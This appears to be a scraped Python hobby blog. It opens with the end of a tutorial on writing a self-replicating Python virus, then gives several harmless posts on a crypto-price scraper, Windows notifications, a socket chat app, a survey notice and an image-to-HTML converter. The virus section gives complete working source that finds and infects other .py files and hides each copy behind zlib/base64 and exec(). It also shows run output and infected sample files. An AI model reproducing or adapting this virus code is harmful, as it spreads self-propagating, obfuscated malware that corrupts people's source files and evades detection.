try:
     # retrieve the virus code from the current infected script
     virus_code = get_virus_code() 

     # look for other files to infect
     for file in find_files_to_infect():
          infect(file, virus_code)

     # call the payload
     summon_chaos()

except:
     pass

finally:
     # delete used names from memory
     for i in list(globals().keys()):
          if(i[0] != '_'):
               exec('del {}'.format(i))

     del i

# end-virus
# numbers.py
import random

random.seed()

for _ in range(10):
     print (random.randint(0,100))

And as expected, now we have our virus before the real code.

Let’s create another .py file in the same directory, just a simple “hello world” program:

/playgrounds/python/first ❯ echo 'print("hello world")' > hello.py

and now, let’s execute the [numbers.py](http://numbers.py) program:

/playgrounds/python/first ❯ python numbers.py                                                                          02:35:12 PM
We are sick, fked up and complicated
We are chaos, we can't be cured
35
43
89
37
92
71
4
21
83
47

As you can see, the program still does whatever it was expected to do (extract some random numbers) but only after having executed our virus, which has spread to other *.py files in the same directory and has executed the payload function. Now, if you look at the [hello.py](http://hello.py) file, you will see that it has been infected as well, as we can see running it:

/playgrounds/python/first ❯ python hello.py                                                                            02:40:01 PM
We are sick, fked up and complicated
We are chaos, we can't be cured
hello world

# Trying to hide the virus code a little more

Now, even if this virus could be potentially dangerous, it is easily detectable. You don’t have to be Sherlock Holmes to recognize a virus that is written in plain text and starts with # begin-virus, right?

So what can we do to make it a little harder to find?

Not much more, since we’re writing it in Python and Python is an interpreted language… however, maybe we can still do something.

For example, wouldn’t it be better if we could consider as infected any single file that contains the md5 hash of its name as a comment?

Our virus could start with something like # begin-78ea1850f48d1c1802f388db81698fd0 and end with something like # end-78ea1850f48d1c1802f388db81698fd0 and that would be different for any infected file, making it more difficult to find all the infected files on the system.

So our get_content_if_infectable() function could be modified like this:

def get_content_if_infectable(file, hash):
     # return the content of a file only if it hasn't been infected yet
     data = get_content_of_file(file)

     for line in data:
          if hash in line:
               return None

     return data

Obviously, before calling it you should calculate the hash of the file you’re going to infect like this:

hash = hashlib.md5(file.encode("utf-8")).hexdigest()

and also the get_virus_code() function should be modified to look for the current script hash:

def get_virus_code():
     # open the current file and returns the virus code, that is the code between the
     # begin-{hash} and the end-{hash} tags
     virus_code_on = False
     virus_code = []

     virus_hash = hashlib.md5(os.path.basename(__file__).encode("utf-8")).hexdigest()
     code = get_content_of_file(__file__)

     for line in code:
          if "# begin-" + virus_hash in line:
               virus_code_on = True

          if virus_code_on:
               virus_code.append(line + "\n")

          if "# end-" + virus_hash in line:
               virus_code_on = False
               break

     return virus_code

And what about our virus source code? Can it be obfuscated somehow to be a little less easy to spot?

Well, we could try to obscure it by making it different every time we infect a new file, then we can compress it by using the zlib library and converting it in base64 format. We could just pass our plain text virus to a new transform_and_obscure_virus_code() function like this:

def obscure(data: bytes) -> bytes:
     # obscure a stream of bytes compressing it and encoding it in base64
     return base64.urlsafe_b64encode(zlib.compress(data, 9))

def transform_and_obscure_virus_code(virus_code):
     # transforms the virus code adding some randomic contents, compressing it and converting it in base64
     new_virus_code = []

     for line in virus_code:
          new_virus_code.append("# "+ str(random.randrange(1000000))+ "\n")
          new_virus_code.append(line + "\n")

     obscured_virus_code = obscure(bytes("".join(new_virus_code), 'utf-8'))
     return obscured_virus_code

Obviously, when you obscure your virus compressing it and encoding it in base64 the code is not executable anymore, so you will have to transform it to the original state before executing it. This will be done in the infect method, by using the exec statement like this:

def infect(file, virus_code):
     # infect a single file. The routine opens the file and if it's not been infected yet, infect the file with a custom version of the virus code
     hash = hashlib.md5(file.encode("utf-8")).hexdigest()

     if (data:=get_content_if_infectable(file, hash)):
          obscured_virus_code = transform_and_obscure_virus_code(virus_code)
          viral_vector = "exec(\"import zlib\\nimport base64\\nexec(zlib.decompress(base64.urlsafe_b64decode("+str(obscured_virus_code)+")))\")"

     with open(file, "w") as infected_file:
          infected_file.write("\n# begin-"+ hash + "\n" + viral_vector + "\n# end-" + hash + "\n")
          infected_file.writelines(data)

The complete source code of our new virus could be similar to this:

# ################
# chaos.py
# a Python virus
# ###############

# begin-78ea1850f48d1c1802f388db81698fd0
import base64, glob, hashlib, inspect, os, random, zlib

def get_content_of_file(file):
     data = None
     # return the content of a file
     with open(file, "r") as my_file:
          data = my_file.readlines()

     return data

def get_content_if_infectable(file, hash):
     # return the content of a file only if it hasn't been infected yet
     data = get_content_of_file(file)

     for line in data:
          if hash in line:
               return None

     return data

def obscure(data: bytes) -> bytes:
     # obscure a stream of bytes compressing it and encoding it in base64
     return base64.urlsafe_b64encode(zlib.compress(data, 9))

def transform_and_obscure_virus_code(virus_code):
     # transforms the virus code adding some randomic contents, compressing it and converting it in base64
     new_virus_code = []
     for line in virus_code:
          new_virus_code.append("# "+ str(random.randrange(1000000))+ "\n")
          new_virus_code.append(line + "\n")

     obscured_virus_code = obscure(bytes("".join(new_virus_code), 'utf-8'))
     return obscured_virus_code

def find_files_to_infect(directory = "."):
     # find other files that can potentially be infected
     return [file for file in glob.glob("*.py")]

def summon_chaos():
     # the virus payload
     print("We are sick, fked up and complicated\nWe are chaos, we can't be cured")

def infect(file, virus_code):
     # infect a single file. The routine open the file and if it's not been infected yet, infect the file with a custom version of the virus code
     hash = hashlib.md5(file.encode("utf-8")).hexdigest()

     if (data:=get_content_if_infectable(file, hash)):
          obscured_virus_code = transform_and_obscure_virus_code(virus_code)
          viral_vector = "exec(\"import zlib\\nimport base64\\nexec(zlib.decompress(base64.urlsafe_b64decode("+str(obscured_virus_code)+")))\")"

          with open(file, "w") as infected_file:
               infected_file.write("\n# begin-"+ hash + "\n" + viral_vector + "\n# end-" + hash + "\n")
               infected_file.writelines(data)

def get_virus_code():
     # open the current file and returns the virus code, that is the code between the
     # begin-{hash} and the end-{hash} tags
     virus_code_on = False
     virus_code = []

     virus_hash = hashlib.md5(os.path.basename(__file__).encode("utf-8")).hexdigest()
     code = get_content_of_file(__file__)

     for line in code:
          if "# begin-" + virus_hash in line:
               virus_code_on = True
          if virus_code_on:
               virus_code.append(line + "\n")
          if "# end-" + virus_hash in line:
               virus_code_on = False
               break

     return virus_code

# entry point
try:
# retrieve the virus code from the current infected script
virus_code = get_virus_code()

# look for other files to infect
for file in find_files_to_infect():
     infect(file, virus_code)

# call the payload
summon_chaos()

except:
     pass

finally:
     # delete used names from memory
     for i in list(globals().keys()):
          if(i[0] != '_'):
               exec('del {}'.format(i))

     del i

# end-78ea1850f48d1c1802f388db81698fd0

Now, let’s try this new virus in another directory with the uninfected version of [numbers.py](http://numbers.py) and [hello.py](http://hello.py), and let’s see what happens.

/playgrounds/python/chaos ❯ python chaos.py                                                                            03:09:52 PM
We are sick, fked up and complicated
We are chaos, we can't be cured

Executing the virus we have the same behavior as we had before, but our infected files are now a little different than before… This is [numbers.py](http://numbers.py) :

# begin-661bb45509227577d3693829a1e1cb33
exec("import zlib\nimport base64\nexec(zlib.decompress(base64.urlsafe_b64decode(b'eNqVWMty47oRXUtfgdALkxkNC2-AU-Uss8zqVmUxvsWiRNBmLJEqkhqPc-v-expAk5JsOZmoaqwHmo2Dfpw-mDtSWM6MWt-RrXtqu6_GuopZRRtpa7ZjlvJGWFtvLdOFbWq6XoOpKKhldh0-S8YMtev2cOyHiWyr0WkZFhjjtFDzwtO-38afjTF2-fm5Gp_3bVzRtDCsmFfabjy63RRWOKXMsnmlH-OP1moj5h-Hqqv7A6IT0sp54d-ze2WE0iyCVkxxIda1a8iTm8pd302um8q-KZt271L_J_sW4SpBpVyv6mqqyAP5R9-5uLtmUuo1gdcdGdx0GjoyPTuCrkjfkIp4PxESV0KJ9eq1nZ5Jf3Rd2GJDkiHJSDWSw1vY-BsaF5SB8bwnLuaDq-p927kxzYKdKYQymAUutdR2vUIk_kmMqTFw6FX4YgvOBf9w6rYp266BWFdbPPsm5AUjYFRhDf-Fk5K-27-RtiFtyGt3D-XgXEeic1eTNxfTWVhhuF1i-mkGcHsuaBFPWRjFqFqvmn4gPhLgOhw1ApVC2QLcrgCCx-9XvRVGVUtmC1idY7SkUiomuI47CKoKfiOO4FowtNFaWSZDGPvtuDsNLg0gyPZtcmNGvv4tfkJUWkhNMXxoDwEbJ0jnwQcv2EI0D8fBjWPbPfn4QTUT1-36Gr_DUS5aq2CSSht8ItC4mJ-G_Vg1rtxqGZ52qS__fHYecG5IkWXYoaLgGFoF4QGX_lAT9NIIIT6UgKJEyOWPdjiNZfB5_jiXCBdmKZHl8TGUSTAm3phUdTjO2B8c9mu7m8to3NwKASz-cMN0MwhCMs6hGDr3egEO6un773HdckPFdbGc7RC4VApSv3rnJK-O0KN1mtyR5ItPVRrh5v4N_j25lNHwyrIvJHnskrlWNYXK-MxdQHFpr5meGUly4DMoPAx3fX2kuc5CraRJkv-rb7v0epdsQ-5PU_PV3mN6_dEKs9TyDc-RFXShgKdjRUjKIKa-CpoWku_bcCynHgkirdsB3vrhDTAleTJzJMwLINzVXXiI9JD2ITCCr4BqIruqI8feZ7mt9kARW3fmBEwVcJlekH4PbOLzFj5A3vz0yP2fNPlrfnxLsphiXTAuJXIDDDLDAvTxdDj0Xbl7rnrgSsTIgf2ox3guymP1tu-rOsafSuUhHIe2m9Lkn1Ct0Kdju3vZkOa0ewGopyPW5OG4b3cVoH_s0C5stSGvzp818B4JscY8c8qNwT4TnsQCTIxpJNwPPWW14L4g7tDOcwb0gQ-MHwbkNzjG0J8mX1N-ooRzhXh5kIGF70fS9TdIeDO7XB4Jc6kCzOPUHwi03Nj2nSen6w5e5i4EKjDswzzA80Otwkly5J0klGKSZfmz-1m3T26ccGzJAgTAzDpUURAfnrEjhz780mDCEBUm0ODqk6b5f3gMBwFgAzQrWKj25Y9Q6r7S3U-3Sx-TC0Xx-NhdKR74HowC3dZuIdyPvOwXfXy-eFq5ATz7AkHLHpMswd6ygvMYLaNBwHi2-iAjXqOMmJN8KSYol9yLidXVYv46tBOgeOxm4QdEF1Ia-QneroIQfr2DkVR_9WsXlljhShf0s22iaPH5RWPGKGDC1rBnRXKRG0wxjCXOlO-CpcYhYIPXHUutR9Z4P202kXvaEcUKlMTWTa8ueon0oZjhxjuPIfjDH-vP4NM_4w-LP03VUxSdoIKDHDwjLaFRHsjfq_2IdKqoFvbS4jySNKUwZbH0DVfSzHY3uqkf82M1Pee-hLrq4NIyhLQss__dYwyo0ADb4fa3FNbiLSITwOCob2Ag-KRcDc7zyPQsy1BlJUvxxHqZD3IlvCSMFyDm1epD0H4bTg4FIehBpARNrZXo_-qBbwhUKiqvvX06X5lmBc5XYaURZ9hzIX8GGsYRC1TwXzLN4XJUBChb0HIv8Tl4jOGWhQLlrJap9m7sGg4yn2ItgHY32BAwTGW4j0GyYM4eYdBPs1iwVMwpYoWSazDANqFwOOYrGTYbWvfDvddezQDEftk-y0AYd0N7xHuWUSCw39Xu-8ZEWhFUY8ZAkrPYRvu-fwlz-0oC9LhXRGotU6jK5ul-U2rMBGAZ12Y988rHaRnjYUWh8CoEMkoY7eHsQG2EM18OemWVgdCtrkUCyoliuSFyuFwptXY_d-44oYSAIlUA5ViNSAZFAZSMydb-6rCGo3iJs1xImA7kVbu9mxw5jRBv38tjzMfBHUBLxefhymdpjEsbaxG62UseqLc0y1_cG7xhUODGziSk2wvutknb7_R38pcHcl_enxUZj8v-FSbTPWAgf_x5n_uJWE1piyoRigrcoQilBlQHXMzAtJ3litZ2vjRrDjeZ2Dy_8P8E_wH6PJBm')))")
# end-661bb45509227577d3693829a1e1cb33

# numbers.py
import random

random.seed()

for _ in range(10):
     print (random.randint(0,100))

and this is

# begin-8d35108ffe2ad173a697734a3e9938e1
exec("import zlib\nimport base64\nexec(zlib.decompress(base64.urlsafe_b64decode(b'eNqVWEtv20YQPku_YksfTDUKwX3vFnCPPfYUoIc4IChxabOWSIGk4rhB_3tn9iFLfrSpgVgydzj8ZuabmY-5IlaUVJvlFdm4u67_qI2rqZFlK0xDt9SUrOXGNBtDlTVtUy6XYGqUNlQs_XeqBVd62e0PwziTTT05JfwBo1zRdP1uN2z8VcWsNiJdvq-n-123iY7gBptOun46uO0cPCkuGEsnw-QvCqv46bFj3TfDPrhRQojTwV_Ju7WA0wbIRjOm5LJxLblzc7Ud-tn1czW0VdvtXI6_Vr94S62FgXAWTT3X5Ib8PvTOX-faYNAEfq7I6Obj2JP53pHoigwtqQn6CfitltQsF4_dfE-Gg-v9I9YkG7MVqSeyf_IPDo-kEKphy0V6ZjwsRlc3u653U76KASlZxhrIUlGqlouIBO8MydaUgs0iYDbSQtFeRt21Vde3kOp6E2Nf-7LEDFBemvIHAiVDv3siXUs6X9X-GrjgXE-Cb9eQJxeKKaSxUMwU3rsFCJXipjSxaFJCAMtFO4wE8wCefaABpmSGWg1ZAwSIHk_RKpxyJa2FexcpQ6dCMq41sDRRRJX8dRalYUKV0UZorplP4rCZtsfR5R4E2TzNblqRj7-Gb-G5SjCpVcxetId8TTMUc4-587aQzP1hdNPU9XeYPuAycf12aOLfEMpZWxkpUkUi0HBYHMfdVLeu2ijh73Y5kr9Izj3ONbGrkFltKaYzBFUa8IgxzdBIE2R4XwGIKiKuvnbjcaq8y-evkR9cWF6mEE-3T54k3pigMakbH8007F1s1m6bSDSt38oAHH514_xmDii1JVRk0bvHM3DAps9fQsWgqEpdcuXZLgBnWmkkzKWPoj5AfzZ5dkWyD1ioPKAt8AP-3bmclv5ntfpAsts-C-nkVmuj3nXnQZzbS0qljumnMIGBg4uY7uYypEQzT5U8y4o_h67PLx-zWpPr49x-NNexulaX1jxT-Q3PwcxwbmVAoQ0wm3oWtB0UH5twquYhToe86Ub4GMYnwJQVWSq_VUbCg678TWSAso9-HiAD6pls654cBqxyV-9gQGzc80SIpWJMihPSz36WYN38F6gbbo4Cf-XZz8XhKVt9ia1VKpXmOewmrjz06bjfD321va8HGJSx0qWMGJ9JeaifdkPdxJVkGNRicRi7fs6zP4Ct0KZTt31Yk_a4fQCox0Pk5P6w67Y1oL_to51_1Jo8OozVTz3icx0LzWDhmYhTc-i5kOKY1DBuXzWVkQZ7HBAHO5wZ0AiYGVwF5BPEMQ7HGVmF-8QH5hOGKP0Qvp5IP7wxg9fJ5ekWv5VqAD3Nw55Az03d0ONwumzhEEHJYXAsF37E3qT1Xewb6UMp4uDJPBmz1aq4d9-a7s5Nc9xaRkCt4iyVVnIoG47sMERvfmgvpdWsDGNAnHfa5v9MsrhDYSLgjoCDeld99WRHrrtvbpvfZmeC4va2v5A78Lc38vO2caeJ-3ow4yHm5wNOljeArz5A0la32SoLmEQpYKvFTqO6xAnzSkU8BhWRqnymJTSIBCFx710cFo9jNwOK2z6pPph1vqRhRMHHRRL81SvYSc1HPDuzTMNPMvneY4JmwfoGY-hbwSMDmGXCmJMkOatOLLK1QjDfuieaQ8pGVB4nuofJ8XLjrMP86aYoV4AUGzc_uuAlqlgJcxydhyR8x8D-9j7xHgw3XprruykuDa5K4P8z0gp65Yb8Vu-m4JRKwTk7tzhbS0YoEWeB0tKKZPZGOw1Tcajn-wI51Nd7l1c-p1W1-u8mg66iHOoRn_6WxDp5izwDEZT2gKKgcS535_PWxNrhKTZtdmJPIEwK5EJ6WcgG99LrZc4-jceYstIqGlUeaHqQ3MH_xQ1xlHNjcZSfe3t3x0IpTNpuSiqmTrATk98DrSXz1v9SZ2ENQ5yLDWi5h_A8q0AeplcMKDA9rbUXe1dSZniyBDmnIkpuBLQr4pthzx5g0c-JLMJGlSo1Z8AcMAhYhfIaeeHl-di5r-6l9mpHmOvnrXPaB9N27A7xHYuDCnzJ25dNGUWD5FJFwMxvXnj4bhge_N6-kABDfFZ8IdSGlYFZabu_KTVS8xvQJF7Tv7Mso3oSHCgRyabhNQ_hbEFt-JgvFr2C_gOHlyIhHYn0pkEhPpAk7tvWHeYoczSscZQI9TTFbQGX4tuXshLU1hJCQYkT-6QUQD5E0ridmx05TpBvbOQp1GPv9qClgnMJwkuEvHSBiNDKKHmAbfmqeHBP8JHex2DpYcZRcHdt3n0uv5Cfbsh1dZ0MhKHMBgP88ZvpGlCQ739fF7gR6znv0lsAcLZkkYggkzj0Fpp2IQjIrYqpNajyQ-f8wH8R_APeFJAZ')))")
# end-8d35108ffe2ad173a697734a3e9938e1
print("hello world")

Look at that, it’s not so easy to be read now, right? And every infection is different than the other one! Moreover, every time the infection is propagated, the compressed byte64 virus is compressed and encoded again and again.

And this is just a simple example of what one could do… for example, the virus could open the target and put this piece of code at the beginning of a random function, not always at the beginning of the file, or put it in another file and make just a call to this file with a malicious import statement or so…

# To sum up

In this article, we have seen that writing a computer virus in Python is a trivial operation, and even if it’s probably not the best language to be used for writing viruses… it’s worth keeping your eyes wide open, especially on a production server. :)

Happy coding!

Get the Price of Cryptocurrencies in Real Time using Python

2021-11-30T03:40:00.007-08:00

We will scrape URL such as https://www.google.com/search?q=bitcoin+price

https://www.google.com/search?q=dogecoin+price

https://www.google.com/search?q=WHAREVER_Coin+price

Here is the Code:-

# Get Crypto Rates in Real Time
from bs4 import BeautifulSoup 
import requests 
import time

def get_crypto_price(coin):
     url = "https://www.google.com/search?q="+coin+"+price"
     HTML = requests.get(url)
     soup = BeautifulSoup(HTML.text, 'html.parser')
     text = soup.find("div", attrs={'class':'BNeawe iBp4i AP7Wnd'}).find("div", attrs={'class':'BNeawe iBp4i AP7Wnd'}).text
     return text

#Choose the cryptocurrency
def main(bitcoin):
     try:
          last_price = -1
          while True:
               crypto = bitcoin 
               #Get the price of the crypto currency
               price = get_crypto_price(crypto)
               #Check if the price changed
               if price != last_price:
                    #Print the price
                    print(crypto+' price: ',price)
                    #Update the last price
                    last_price = price

               #Suspend execution for 3 seconds.
               time.sleep(3)
     except:
          print('Please Enter Valid Coin')

Output:-

#NOTE:- type main(<YOUR COIN>) & [ENTER]
>>> main('bitcoin')
bitcoin price:  43,01,968.93 Indian Rupee

>>> main('litecoin')
litecoin price:  15,291.76 Indian Rupee

>>> main('etherium') 
etherium price:  3,39,967.56 Indian Rupee

>>> main('pythoncoin')

Please Enter Valid Coin
>>> 

>>> main('python4fun')
	 
Please Enter Valid Coin
>>> 

>>> main('doge')
doge price:  16.48 Indian Rupee

RUN

Create Notification on Windows using Python | Toast Notification | Popup Notification

2021-11-26T12:48:00.007-08:00

Ever wondered what if you could customize notification on windows and print text according to your needs. Or a Reminder like an Alarm Clock or a Scheduled task that gives you popup notification also called toast notification which is on the bottom right of your screen.

Which would look something like this....

It would come handy if you could control them according to your needs. So how to do that?

Well, its just a few lines of code. So lets start with a code.

Our First format we will create a simple notification, and its only job is to popup with some text on it.

# pip install win10toast
from win10toast import ToastNotifier
toaster = ToastNotifier()

#Show Notification On Windows.
#Download icon and name it as icon.ico in the same folder.
toaster.show_toast("Title - Hello World of Python4Fun",
                   "Description Text of python4fun",
                   duration=7,
                   icon_path="icon.ico")

#Output_1

Our Second format we will create similar notification type but this time it will have the feature of click which will lead us to a website of the given URL.

# pip install win10toast-click
from win10toast_click import ToastNotifier
import webbrowser

toaster = ToastNotifier()

url = "https://pysnakeblog.blogspot.com"

def open_url():
    try:
        webbrowser.open_new(url)
        print("Opening URL...")
    except:
        print("Sorry, failed to open URL!")
        
#Show Notification On Windows.
#Download icon and name it as icon.ico in the same folder.
toaster.show_toast("Welcome to Python4Fun",
                   "Click Here to Open >> ",
                   duration=7,
                   icon_path="icon.ico",
                   threaded=True,
                   callback_on_click=open_url)

#Output_2

*Note:- pip Install... commandline is included in the script.

Create Yahoo like Chat App with Python

2021-11-22T09:32:00.015-08:00

I don't know about you but I do miss those days when there was no such thing as facebook, no Android phone and IPhone. But we did have Cyber Cafe where we used to have our favorite Yahoo Messenger installed where we used to spend hours and hours with unknown friends and the whole experience of it was very cozy. So I thought why not create something of that sort using python.

Which would look like this:-

Lets get on with the code:-

Run the server script.

# Import required modules
import socket
import threading

HOST = '127.0.0.1'
PORT = 1234 # You can use any port between 0 to 65535
LISTENER_LIMIT = 5
active_clients = [] # List of all currently connected users

# Function to listen for upcoming messages from a client
def listen_for_messages(client, username):

    while 1:

        message = client.recv(2048).decode('utf-8')
        if message != '':
            
            final_msg = username + '~' + message
            send_messages_to_all(final_msg)

        else:
            print(f"The message send from client {username} is empty")


# Function to send message to a single client
def send_message_to_client(client, message):

    client.sendall(message.encode())

# Function to send any new message to all the clients that
# are currently connected to this server
def send_messages_to_all(message):
    
    for user in active_clients:

        send_message_to_client(user[1], message)

# Function to handle client
def client_handler(client):
    
    # Server will listen for client message that will
    # Contain the username
    while 1:

        username = client.recv(2048).decode('utf-8')
        if username != '':
            active_clients.append((username, client))
            prompt_message = "SERVER~" + "\u0332".join(f"{username} ")+ " joined the chatroom"
            send_messages_to_all(prompt_message)
            break
        else:
            print("Client username is empty")

    threading.Thread(target=listen_for_messages, args=(client, username, )).start()

# Main function
def main():

    # Creating the socket class object
    # AF_INET: we are going to use IPv4 addresses
    # SOCK_STREAM: we are using TCP packets for communication
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    # Creating a try catch block
    try:
        # Provide the server with an address in the form of
        # host IP and port
        server.bind((HOST, PORT))
        print(f"Running the server on {HOST} {PORT}")
    except:
        print(f"Unable to bind to host {HOST} and port {PORT}")

    # Set server limit
    server.listen(LISTENER_LIMIT)

    # This while loop will keep listening to client connections
    while 1:

        client, address = server.accept()
        print(f"Successfully connected to client {address[0]} {address[1]}")

        threading.Thread(target=client_handler, args=(client, )).start()


if __name__ == '__main__':
    main()

Distribute the Client script to other computers connected with the same network.

# import required modules
import socket
import threading
import tkinter as tk
from tkinter import scrolledtext
from tkinter import messagebox

HOST = '127.0.0.1'
PORT = 1234

DARK_PURPLE = '#500F4B'
MEDIUM_PURPLE = '#77246F'
OCEAN_BLUE = '#77246F'
WHITE = "white"
FONT = ("Arial", 17)
BUTTON_FONT = ("Arial", 15)
SMALL_FONT = ("Arial", 13)

# Creating a socket object
# AF_INET: we are going to use IPv4 addresses
# SOCK_STREAM: we are using TCP packets for communication
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

def add_message(message):
    message_box.config(state=tk.NORMAL)
    message_box.insert(tk.END, message + '\n')
    message_box.config(state=tk.DISABLED)

def connect():

    # try except block
    try:

        # Connect to the server
        client.connect((HOST, PORT))
        print("Successfully connected to server")
        add_message("[SERVER] Successfully connected to the server")
    except:
        messagebox.showerror("Unable to connect to server", f"Unable to connect to server {HOST} {PORT}")

    username = username_textbox.get()
    if username != '':
        client.sendall(username.encode())
    else:
        messagebox.showerror("Invalid username", "Username cannot be empty")

    threading.Thread(target=listen_for_messages_from_server, args=(client, )).start()

    username_textbox.config(state=tk.DISABLED)
    username_button.config(state=tk.DISABLED)

def send_message():
    message = message_textbox.get()
    if message != '':
        client.sendall(message.encode())
        message_textbox.delete(0, len(message))
    else:
        messagebox.showerror("Empty message", "Message cannot be empty")

root = tk.Tk()
root.geometry("600x600")
root.title("Messenger Client")
root.resizable(False, False)

root.grid_rowconfigure(0, weight=1)
root.grid_rowconfigure(1, weight=4)
root.grid_rowconfigure(2, weight=1)

top_frame = tk.Frame(root, width=600, height=100, bg=DARK_PURPLE)
top_frame.grid(row=0, column=0, sticky=tk.NSEW)

middle_frame = tk.Frame(root, width=600, height=400, bg=MEDIUM_PURPLE)
middle_frame.grid(row=1, column=0, sticky=tk.NSEW)

bottom_frame = tk.Frame(root, width=600, height=100, bg=DARK_PURPLE)
bottom_frame.grid(row=2, column=0, sticky=tk.NSEW)

username_label = tk.Label(top_frame, text="^", font=('Webdings',17), bg=DARK_PURPLE, fg=WHITE)
username_label.pack(side=tk.LEFT, padx=0)

username_label = tk.Label(top_frame, text="Enter Username:", font=FONT, bg=DARK_PURPLE, fg=WHITE)
username_label.pack(side=tk.LEFT, padx=10)

username_textbox = tk.Entry(top_frame, font=FONT, bg=MEDIUM_PURPLE, fg=WHITE, width=23)
username_textbox.pack(side=tk.LEFT)

username_button = tk.Button(top_frame, text="Join", font=BUTTON_FONT, bg=OCEAN_BLUE, fg=WHITE, command=connect)
username_button.pack(side=tk.LEFT, padx=15)

message_textbox = tk.Entry(bottom_frame, font=FONT, bg=MEDIUM_PURPLE, fg=WHITE, width=38)
message_textbox.pack(side=tk.LEFT, padx=10)

message_button = tk.Button(bottom_frame, text="Send", font=BUTTON_FONT, bg=OCEAN_BLUE, fg=WHITE, command=send_message)
message_button.pack(side=tk.LEFT, padx=10)

message_box = scrolledtext.ScrolledText(middle_frame, font=SMALL_FONT, bg=MEDIUM_PURPLE, fg=WHITE, width=67, height=26.5)
message_box.config(state=tk.DISABLED)
message_box.pack(side=tk.TOP)


def listen_for_messages_from_server(client):

    while 1:

        message = client.recv(2048).decode('utf-8')
        if message != '':
            username = message.split("~")[0]
            content = message.split('~')[1]

            add_message(f"[{username}] {content}")
            
        else:
            messagebox.showerror("Error", "Message recevied from client is empty")

# main function
def main():

    root.mainloop()
    
if __name__ == '__main__':
    main()

This is how it would look:

Take up Python Developers Survey 2021 & win $100 Amazon Gift Card

2021-11-16T12:13:00.011-08:00

Hey Pythonista,

This is the fifth iteration of the official Python Developers Survey. With this survey, we aim to get an understanding of how the world of Python development looks today and how it compares to last year. In 2020, over 28,000 Python developers from over 150 countries responded, sharing their opinions and helping us get an accurate picture of the Python community.

The results of this survey serve as a major source of knowledge about the current state of the Python community, and we encourage you to support this initiative by taking 10-15 minutes to fill it out.

This year we have added questions that will help the CPython Developer-in-Residence and the Python Packaging Project Manager prioritize their work based on community feedback.

After the survey is over, we will publish the aggregated results and randomly choose 20 winners (from those who complete the survey in its entirety), who will each receive a $100 Amazon Gift Card or a local equivalent.
Thank you for contributing to this community effort!
Let’s get started!

The survey is organized in partnership between the Python Software Foundation and JetBrains. It’s hosted by JetBrains, so your responses will be subject to the JetBrains Survey Terms and Conditions.

* Indicates a required question

Survey Terms and Conditions *This question is required.

I have read and I accept these Terms and Conditions

What should be the minimum specifications of my laptop for programming in Python?

2021-11-14T12:32:00.014-08:00

Minimum specifications required for your laptop depends on what type of laptop you are using.
If Python can run on a devices called Raspberry Pi then your laptop is far more eligible to run Python but depends on what version Python you plan to run.
I did run Python on Windows XP and it worked like a charm.
While installing latest python on Windows and you face issue. Just try installing one version less then what you were installing initially.
After you install python you might have to create Environment variable to Run Python from CMD.

If you plan to create heavy duty project in python then you might need more RAM, where applications needs to perform numerous calculations or tasks and also It requires faster processor.

But for minimum requirement if you come under this category then you are good to go.

Minimum Hardware requirements to run Python are as follows:-
1) Modern Operating System
A] Windows 7 or 10	B] Mac OS X 10.11 or higher, 64-bit	C] Linux: RHEL 6/7, 64-bit (almost all libraries also work in Ubuntu)
2) x86 64-bit CPU (Intel / AMD architecture)
3) 4 GB RAM
4) 5 GB free disk space

Most users will find that any computer bought in recent years will meet (and usually exceed) these hardware requirements.

Pixel Style Image to HTML Convert in Python

2021-11-13T09:32:00.004-08:00

Hello Young Python buds,
I hope you are all doing well.

I apologize for not posting on my youtube channel and blog as I got tied up between some personal stuff which really got me busy.
I do had some crazy projects under my sleeve that I was working on and I would share that with you all.

What this Code does?
This Code make Pixel Style Image to HTML Convert in Python.

How it works?
- Python will Convert the Image size to 50x50 new PNG image.
- Python will then read the new PNG image pixel by pixel.
- Saving the hex data as html file.

Why 50x50 size?
I tried with fill size, it just crashes my laptop if I open the html file. I tried with 100x100 as well but it was hard to post in a blog or send it as an html. But 50x50 size work properly.

What kind of Image format works?
All kind of Image format works i.e. jpg, png, gif, webp etc...

How did I come by this Idea for this project?
Well, by accident. While making this tutorial I noticed something. And that something was I could get the pixel colour of an image and also get it on a text file. But then I wondered what can I do with this hex colour data??? And then it clicked. I though what if I get the whole data of pixel on a text file or a CSV file. Only I had to figure out how to make it work. After I got it working I had to try making the hex data and get it into a html type data. And I tried with "<div>" it worked in html at first but then as I tried to email the same it would just disrupt the whole format.
Then I tried something easier that was using "<table>", "<tr>" and "<td>".
I had lot of bugs and errors to correct and finally I made it work.

Image Source I have used:- Image

So here is the code. Enjoy!!!

# Pixel Style Image to HTML Converter
# Developed by: Joel D'costa
# Free to use.
# Shared by :- Python4Fun

# import PIL as Image
from PIL import Image

# Note:- All types of file format works.
# Eg.(jpg, png, gif, webp etc...)
# Enter your Image name.
infile = "mona.jpg"

# If you increase the size your html will crash your computer. 
# Keep the default size as 50 x 50
w, h = 50, 50
image = Image.open(infile)
new_image = image.resize((w,h),Image.ANTIALIAS)
new_image.save(fp="n.png")

# It will save it as 'n.png' dont change the file name.
infile = 'n.png'
width, height = Image.open(infile).size

# Getting Pixel color function
def rgb_to_hex(rgb):
    return '#'+'%02x%02x%02x' % rgb

img = Image.open(infile)
img_rgb = img.convert('RGB')

# Our output will be stored as t_.html
with open('t_.html','+a') as t:
    t.writelines('<table style="border-spacing: 0px;">')
    for i in range(height):
        t.writelines('<tr>')
        for j in range(width):
            rgb = img_rgb.getpixel((int(j),int(i)))
            colorcode = rgb_to_hex(rgb)
            ######## You can Comment this part out ##########
            # This will try to make the white color or close to white as transparent
            if "#fff" in colorcode:
                colorcode = rgb_to_hex(rgb)+"00"
            # This will try to make the black color or close to black as transparent
            elif "000000" in colorcode:
                colorcode = colorcode.replace('000000','00000000')
            else:
                colorcode = rgb_to_hex(rgb)
            ######## You can Comment this part out ##########
            p = 15 # for width and height of the pixel
            xj = j*p
            yi = i*p
            t.writelines(f'<td style="width: {p}px; height: {p}px; background-color: {colorcode}; border-radius: 9px; border: 0px;"></td>\n')
        t.writelines('</tr>')
    t.writelines('</table>')

Happy Diwali 2021 - This is NOT an Image 😂. This is made in Python 😉

2021-11-02T10:56:00.003-07:00

As I said, this is not an Image this is made in Python. If you would love to know how I did it comment below and show your support.

How to add Python Code Snippet to your blogger or website? (Version. 2.0)

2021-11-01T06:37:00.017-07:00

In my last post i.e. https://pysnakeblog.blogspot.com/2021/10/how-to-add-code-snipit-to-your-blogger.html I have showed you how you can add code to your blog or website.

But in this there is little bit of an update to that very same code.

Features of this code?
✔️ Posting Python Code + other language code without losing its indent format.
